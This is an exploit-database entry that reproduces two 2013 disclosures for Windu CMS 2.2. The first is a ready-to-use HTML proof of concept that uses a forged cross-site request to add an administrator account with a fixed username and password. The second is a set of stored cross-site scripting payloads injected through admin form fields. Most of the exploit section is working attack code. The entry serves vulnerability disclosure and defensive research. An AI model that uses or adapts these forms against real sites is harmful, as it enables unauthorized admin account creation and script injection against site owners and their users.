Windu CMS 2.2 CSRF Add Admin Exploit

vendor:

Windu CMS

by:

Gjoko 'LiquidWorm' Krstic

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Windu CMS

Affected Version From: 2.2 rev 1430

Affected Version To: 2.2 rev 1430

Patch Exists: NO

Related CWE: N/A

CPE: a:adam_czajkowski:windu_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Microsoft Windows 7 Ultimate SP1 (EN), Apache 2.4.2 (Win32), PHP 5.4.7, MySQL 5.5.25a

2013

Windu CMS 2.2 CSRF Add Admin Exploit

Windu CMS suffers from a cross-site request forgery vulnerability. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Validate all user input and perform proper authentication checks.

Source

Exploit-DB raw data:

<!--

Windu CMS 2.2 CSRF Add Admin Exploit


Vendor: Adam Czajkowski
Product web page: http://www.windu.org
Affected version: 2.2 rev 1430

Summary: Windu CMS is a simple, lightweight and fun-to-use
website content management software.

Desc: Windu CMS suffers from a cross-site request forgery
vulnerabilities. The application allows users to perform
certain actions via HTTP requests without performing any
validity checks to verify the requests. This can be exploited
to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

User type:

value 17  -  Admin Main    (form_key = addUserSystem)
value 9   -  Administrator (form_key = addUserSystem)
value 18  -  Content       (form_key = addUserSystem)
value 19  -  Editor        (form_key = addUserSystem)
value 14  -  Page User     (form_key = addUserPage)


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.7
           MySQL 5.5.25a



Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience



Advisory ID: ZSL-2013-5149
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5149.php


21.07.2013

-->


<html>
<head>
<title>Windu CMS 2.2 CSRF Add Admin Exploit</title>
</head>
<body><center><br />
<form method="POST" action="http://localhost/winducms/admin/users/?mn=admin.message.error">
<input type="hidden" name="type" value="9" />
<input type="hidden" name="email" value="evil@hacker.net" />
<input type="hidden" name="password" value="0bl1viON" />
<input type="hidden" name="passwordCompare" value="0bl1viON" />
<input type="hidden" name="username" value="hax0r" />
<input type="hidden" name="name" value="XSRF" />
<input type="hidden" name="surname" value="PoC" />
<input type="hidden" name="form_key" value="addUserSystem" />
<input type="submit" value="Forge!" />
</form>
</body>
</html>

######################################################################

<!--

Windu CMS 2.2 Multiple Persistent Cross-Site Scripting Vulnerabilities


Vendor: Adam Czajkowski
Product web page: http://www.windu.org
Affected version: 2.2 rev 1430

Summary: Windu CMS is a simple, lightweight and fun-to-use
website content management software.

Desc: Multiple stored XSS vulnerabilities exist when parsing
user input to the 'name' and 'username' POST parameters.
Attackers can exploit these weaknesses to execute arbitrary
HTML and script code in a user's browser session.


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.7
           MySQL 5.5.25a



Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience



Advisory ID: ZSL-2013-5148
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5148.php


21.07.2013

-->


<html>
<head>
<title>Windu CMS 2.2 Multiple Persistent Cross-Site Scripting Vulnerabilities</title>
</head>
<body><center><br />
<form method="POST" action="http://localhost/winducms/admin/content/edit/659/?mn=admin.message.error">
<input type="hidden" name="name" value='"><script>alert(1);</script>' />
<input type="hidden" name="form_key" value="addLang" />
<input type="submit" value="XSS #1" />
</form>
<br />
<form method="POST" action="http://localhost/winducms/admin/content/add/760/?mn=admin.message.error">
<input type="hidden" name="name" value='"><script>alert(2);</script>' />
<input type="hidden" name="type" value="1" />
<input type="hidden" name="form_key" value="add" />
<input type="submit" value="XSS #2" />
</form>
<br />
<form method="POST" action="http://localhost/winducms/admin/users/?mn=admin.message.error">
<input type="hidden" name="type" value="17" />
<input type="hidden" name="email" value="lab@zeroscience.mk" />
<input type="hidden" name="password" value="testing...1.2.3" />
<input type="hidden" name="passwordCompare" value="testing...1.2.3" />
<input type="hidden" name="username" value='"><script>alert(3);</script>' />
<input type="hidden" name="name" value="Zero Science Lab" />
<input type="hidden" name="surname" value="ZSL" />
<input type="hidden" name="form_key" value="addUserSystem" />
<input type="submit" value="XSS #3" />
</form>
</body>
</html>